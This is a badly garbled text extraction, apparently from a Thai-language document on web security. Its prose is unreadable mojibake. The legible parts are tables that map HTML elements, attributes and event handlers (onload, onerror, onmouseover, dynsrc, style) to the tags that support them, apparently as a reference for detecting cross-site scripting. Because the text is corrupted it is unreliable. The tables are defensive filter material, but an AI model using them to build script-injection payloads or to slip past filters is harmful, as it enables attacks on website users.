���y [43-49] f�ก���1	3���
����f��'��'
���"�'���)�t�
��21
���#�2��-� k+�"*'��2�������	����'$'"��
��'�#�2��-� (�'$'"��
��'��'

���"�'���) ������	��
��'�#�2��-� (������	��
��'��'
���"�'���) �$1�'$'"��
��'�#�2��-�"#���"
�� 
#��������
+�������	��
��'�f/�����ก��"#t��������
����u�)��	�u�ก������	 �����'���$1"�'�����
�����'� 

1  �������&�����'	�U	 
�'$'"��
��'�#�2��-�
t��'$'"��
��'��'
���"�'�����������ก� applet, base, bgsound, blink, 

body, embed, frame, frameset, iframe, ilayer, input, layer, link, meta, object, script, style, 
title, xml ���zt�����'$'"��
�")$���'����
���$���f)�k+�f/������*�����"��"#��121ก��f)�"ก���r,)�*���
�����ก ����������	��
�*���'$'"��
��'�#�2��-��'�f/�����ก��f�ก������	�'���$1"�'�����
�����'� 
ก-1 

 


�����'� ก-1 �'$'"��
��'�#�2��-�ก�	������	��
��'�f/�����f�ก������	 
Element Attribute 

applet, embed, iframe, layer, object width 
base href 

bgsound src 

blink - 

body text 

frame, ilayer, input, meta name 

frameset rows 

link rel 

script, style type 

title lang 

xml id 
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2�ก
�����'� ก-1 �'$'"��
�")$���'�"�(��'$'"��
��'����
��f)�k+�f/������zf/������� �������   
������	��
��'�f/��u�ก��f��"*��������"�$�
��2��	21"�(�������	��
��'�����f)�f/����ก��)�t����
ก��f)�"ก��
���"�'���"#t��f)��
�������	������$	��������)��f�ก�-'�'ก��
��22�	������	��
��'��'

���"�'��� f�ก�-'�'��'$'"��
��'�#�2��-�����'������	��
��'��'$�ก -1���ก$���21���f��������	��
�
$��� 

2 � ��������&�����'	�U	 
������	��
��'�#�2��-�)�t�กs
t�������	��
��'��'
���"�'��� ����ก� onabort, onactivate, 

onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, 
onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, 
onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, 
oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, 
ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, 
ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, 
onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, 
onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, 
onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, 
onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, 
onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, 
onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, 
onselectstart, onstart, onstop, onsubmit, onunload, style, dynsrc "�t���2�ก������	��
�
��1"0� on ����)�����������z�'�21"�'�กก���u����f��+��		�
���
�������
��2�����
��f)��'ก��
f/���� ���� style "�(�������	��
��'������z�u��������ก���2�
'���)$���+��		�$1 dynsrc �'�
�r223	�����
���#	ก��f/�����$1�����zก��f)�"ก��ก���2�
'��� 2�����
����3,�
"/��ก�� �'$'"��
�
�'�f/�
�	
+�ก�	������	��
��'�#�2��-��'�f/�����ก��f�ก������	�'���$1"�'�����
�����'� ก-2 

 


�����'� ก-2 ������	��
��'�#�2��-�ก�	�'$'"��
��'�"ก'���*����'�f/�����f�ก������	 
Attribute Element 

dynsrc img, input 
onclick, ondblclick, 

onkeydown, 
onkeypress,  

a, abbr, acronym, address, area, b, big, blockquote, body, 
button, caption, center, cite, code, col, colgroup, dd, del, dfn, 
dir, div, dl, dt, em, fieldset, form, h1, h2, h3, h4, h5, h6, hr, i, 
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onkeyup, 
onmousedown, 
onmousemove, 
onmouseout, 
onmouseover, 
onmouseup, 

img, input, ins, kbd, label, legend, li, link, map, menu, 
noframes, noscript, object, ol, optgroup, option, p, pre, q, s, 
samp, select, small, span, strike, strong, sub, sup, table, 

tbody, td, textarea, tfoot, th, thead, tr, tt, u, ul, var 

onblur, onfocus a, area, button, input, label, select, textarea 

onchange, input, select, textarea 

onload, onunload body, frameset 

onreset, onsubmit form 

Onselect input, textarea 

onlayoutcomplete base, basefont, bgsound, br, col, dd, div, dl, dt, font, head, hr, 
html, li, meta, ol, option, p, title, ul 

onselectionchange script 

onBeforeCut, 
onCut,onBeforePaste, 

onPaste 

a, acronym, address, applet, area, b, bdo, big, blink, 
blockquote, body, button, caption, center, cite, code, dd, dfn, 
dir, div, dl, dt, em, embed, fieldset, font, form, heading, hr, i, 
img, input, kbd, label, legend, li, listing, map, marquee, menu, 
ol, p, plaintext, pre, q, rt, ruby, s, samp, select, small, span, 
strike, strong, sub, sup, table, tbody, tfoot, thead, td, th, 

textarea, tr, tt, u, ul, var, xmp 
onabort img, input 

onactivate, 
onbeforedeactivate, 
ondeactivate, 

onbeforeactivate, 
oncontrolselect, 
onmoveend, 
onmovestart, 
onmove, 

a, acronym, address, applet, area, b, bdo, big, blink, 
blockquote, body, button, caption, center, cite, code, dd, del, 
dfn, dir, div, dl, dt, em, embed, fieldset, font, form, frame, 
frameset, hr, heading, i, iframe, img, input, ins, isindex, kbd, 
label, legend, li, listing, map, marquee, menu, nobr, object, ol, 
p, plaintext, pre, q, rt, ruby, s, samp, select, small, span, 
strike, strong, sub, sup, table, tbody, tfoot, thead, td, th, 

textarea, tr, tt, u, ul, var, xmp 
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onafterprint, 
onbeforeprint, 
onbeforeunload, 

onstop 

body, frameset 

onafterupdate, 
onbeforeupdate, 

a, bdo, button, div, frame, iframe, img, input, label, legend, 
marquee, rt, ruby, select, span, textarea 

onbeforecopy, 
oncopy 

a, acronym, address, area, b, bdo, big, blink, blockquote, 
caption, center, cite, code, dd, dfn, dir, div, dl, dt, em, fieldset, 
font, form, heading, i, img, kbd, label, legend, li, listing, menu, 
ol, p, plaintext, pre, q, s, samp, small, span, strike, strong, 

sub, sup, td, th, textarea, tr, tt, u, ul, var, xmp 
onbeforeeditfocus a, acronym, address, applet, area, b, bdo, big, blink, 

blockquote, body, button, center, cite, code, dd, del, dfn, dir, 
div, dl, dt, em, fieldset, font, form, heading, i, input, ins, 

isindex, kbd, label, legend, li, listing, marquee, menu, nobr, 
object, ol, p, plaintext, pre, q, rt, ruby, s, samp, select, small, 
span, strike, strong, sub, sup, table, td, th, textarea, tr, tt, u, ul, 

var, xmp 
onbounce, onfinish, 

onstart 
marquee 

oncellchange applet, bdo, object 

oncontextmenu a, address, area, b, basefont, bdo, big, blink, blockquote, 
body, button, caption, center, cite, code, dd, dfn, dir, div, dl, 
dt, em, fieldset, font, form, hr, heading, i, img, input, kbd, 

label, legend, li, listing, map, marquee, menu, nobr, ol, option, 
optgroup, p, plaintext, pre, q, rt, ruby, s, samp, select, small, 
span, strike, strong, sub, sup, table, tbody, tfoot, thead, td, th, 

textarea, tr, tt, u, ul, var, xmp 
ondataavailable, 
ondatasetchanged,  
ondatasetcomplete, 

applet, object, xml 
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ondrag, ondragend, 
ondragenter, 
ondragleave, 

ondragover, ondrop 

a, acronym, address, area, b, bdo, big, blink, blockquote, 
body, button, caption, center, cite, code, dd, del, dfn, dir, div, 
dl, dt, em, fieldset, font, form, hr, heading, i, img, input, ins, 
kbd, label, li, listing, map, marquee, menu, nobr, object, ol, p, 
plaintext, pre, q, s, samp, select, small, span, strike, strong, 
sub, sup, table, tbody, tfoot, thead, td, th, textarea, tr, tt, u, ul, 

var, xmp 
ondragstart a, acronym, address, area, b, bdo, big, blink, blockquote, 

body, caption, center, cite, code, dd, del, dfn, dir, div, dl, dt, 
em, fieldset, font, form, hr, heading, i, img, input, ins, kbd, 
label, li, listing, map, marquee, menu, nobr, object, ol, p, 

plaintext, pre, q, rt, ruby, s, samp, small, span, strike, strong, 
sub, sup, table, tbody, tfoot, thead, td, th, textarea, tr, tt, u, ul, 

var, xmp 
onerror body, img, input, object 

onerrorupdate a, bdo, button, div, frame, img, input, label, legend, marquee, 
rt, ruby, select, span, textarea 

onfilterchange bdo, body, button, div, fieldset, img, input, marquee, rt, ruby, 
span, table, tbody, tfoot, thead, td, th, textarea, tr 

onfocusin, onfocusout a, acronym, address, area, b, bdo, big, blink, blockquote, 
body, button, caption, center, cite, code, dd, del, dfn, dir, div, 
dl, dt, em, embed, fieldset, font, form, hr, heading, i, img, 

input, ins, isindex, kbd, label, legend, li, listing, map, marquee, 
menu, nobr, object, ol, p, plaintext, pre, q, rt, ruby, s, samp, 
select, small, span, strike, strong, sub, sup, table, tbody, tfoot, 

thead, td, th, textarea, tr, tt, u, ul, var, xmp 
onhelp a, acronym, address, applet, area, b, bdo, big, blink, 

blockquote, body, button, caption, center, cite, code, dd, del, 
dfn, dir, div, dl, dt, em, embed, fieldset, font, form, hr, html, 
heading, i, img, input, ins, kbd, label, legend, li, listing, map, 
marquee, menu, nobr, ol, p, plaintext, pre, q, rt, ruby, s, samp, 
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select, small, span, strike, strong, sub, sup, table, tbody, tfoot, 
thead, td, th, textarea, tr, tt, u, ul, var, xmp 

onlosecapture a, acronym, address, applet, area, b, bdo, big, blink, 
blockquote, body, button, caption, center, cite, code, dd, dfn, 
dir, div, dl, dt, em, embed, fieldset, font, form, heading, hr, i, 
img, input, kbd, label, legend, li, listing, map, marquee, menu, 
object, ol, option, p, plaintext, pre, q, rt, ruby, s, samp, select, 
small, span, strike, strong, sub, sup, table, tbody, tfoot, thead, 

td, th, textarea, tr, tt, u, ul, var, xmp 
onmouseenter, 
onmouseleave 

a, acronym, address, applet, area, b, bdo, big, blink, 
blockquote, body, button, caption, center, cite, code, dd, del, 
dfn, dir, div, dl, dt, em, embed, fieldset, font, form, hr, html, 
heading, i, img, input, ins, isindex, kbd, label, legend, li, 

listing, map, marquee, menu, nobr, ol, p, plaintext, pre, q, rt, 
ruby, s, samp, select, small, span, strike, strong, sub, sup, 
table, tbody, tfoot, thead, td, th, textarea, tr, tt, u, ul, var, xmp 

onmousewheel a, acronym, address, applet, area, b, bdo, big, blink, 
blockquote, body, button, caption, center, cite, code, dd, del, 

dfn, dir, div, dl, dt, em, embed, fieldset, font, form, hr, 
heading, i, img, input, ins, isindex, kbd, label, legend, li, 

listing, map, marquee, menu, nobr, object, ol, p, plaintext, pre, 
q, rt, ruby, s, samp, select, small, span, strike, strong, sub, 
sup, table, tbody, tfoot, thead, td, th, textarea, tr, tt, u, ul, var, 

xmp 
onpropertychange a, address, applet, area, b, bdo, big, blockquote, body, 

button, caption, center, cite, code, dd, dfn, dir, div, dl, dt, em, 
embed, fieldset, font, form, hr, heading, i, img, input, kbd, 

label, legend, li, listing, map, marquee, menu, nobr, object, ol, 
option, p, plaintext, pre, q, s, samp, select, small, span, strike, 
strong, sub, sup, table, tbody, tfoot, thead, td, th, textarea, tr, 

tt, u, ul, var, xmp 
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onreadystatechange a, acronym, address, applet, area, b, base, basefont, bdo, 
bgsound, big, blink, blockquote, body, button, caption, center, 
cite, code, col, colgroup, dd, del, dfn, dir, div, dl, dt, em, 

embed, fieldset, font, form, head, hr, heading, html, i, iframe, 
img, input, ins, isindex, kbd, label, legend, li, link, listing, map, 
marquee, menu, nobr, object, ol, option, p, plaintext, pre, q, rt, 
ruby, s, samp, script, select, small, span, strike, strong, style, 
sub, sup, table, tbody, tfoot, thead, td, th, textarea, title, tr, tt, 

u, ul, var, xml, xmp 
onresize a, acronym, address, applet, b, bdo, big, blink, blockquote, 

body, button, center, cite, code, dd, del, dfn, dir, div, dl, dt, 
em, embed, fieldset, font, form, frameset, hr, heading, i, 

iframe, img, input, ins, isindex, kbd, label, legend, li, listing, 
marquee, menu, nobr, object, ol, p, plaintext, pre, q, rt, ruby, 
s, samp, select, small, span, strike, strong, sub, sup, table, 
tbody, tfoot, thead, td, th, textarea, tr, tt, u, ul, var, xmp 

onresizeend, 
onresizestart 

a, acronym, address, applet, area, b, bdo, big, blink, 
blockquote, body, button, caption, center, cite, custom, dd, 
dfn, dir, div, dl, dt, em, embed, fieldset, font, form, frameset, 
hn, hr, i, iframe, img, input, ins, isindex, kbd, label, legend, li, 
listing, marquee, menu, object, ol, p, pre, q, rt, ruby, s, samp, 
select, small, span, strike, strong, sub, sup, table, tbody, tfoot, 

thead, td, th, textarea, tr, tt, u, ul, var, xmp 
onrowenter, 
onrowexit, 

onrowsdelete, 
onrowsinserted 

applet, object, xml 

onscroll a, acronym, address, applet, b, bdo, big, blink, blockquote, 
body, button, center, cite, code, dd, del, dfn, dir, div, dl, dt, 
em, embed, fieldset, font, form, frameset, hr, heading, i, 

iframe, img, input, ins, isindex, kbd, label, legend, li, listing, 
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map, marquee, menu, nobr, object, ol, p, plaintext, pre, q, rt, 
ruby, s, samp, select, small, span, strike, strong, sub, sup, 
table, tbody, tfoot, thead, td, th, textarea, tr, tt, u, ul, var, xmp 

onselectstart a, acronym, address, area, b, bdo, big, blink, blockquote, 
body, button, caption, center, cite, code, dd, del, dfn, dir, div, 
dl, dt, em, fieldset, font, form, hr, heading, i, img, input, ins, 
kbd, label, li, listing, map, marquee, menu, object, ol, option, 
p, plaintext, pre, q, rt, ruby, s, samp, select, small, span, 
strike, strong, sub, sup, table, tbody, tfoot, thead, td, th, 

textarea, tr, tt, u, ul, var, xmp 
style a, abbr, acronym, address, applet, area, b, bdo, big, 

blockquote, body, br, button, caption, center, cite, code, col, 
colgroup, dd, del, dfn, dir, div, dl, dt, em, fieldset, font, form, 
frame, frameset, h1, h2, h3, h4, h5, h6, hr, i, iframe, img, input, 
ins, isindex, kbd, label, legend, li, link, map, menu, noframes, 
noscript, object, ol, optgroup, option, p, pre, q, s, samp, 

select, small, span, strike, strong, sub, sup, table, tbody, td, 
textarea, tfoot, th, thead, tr, tt, u, ul, var 
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a href 
img src 
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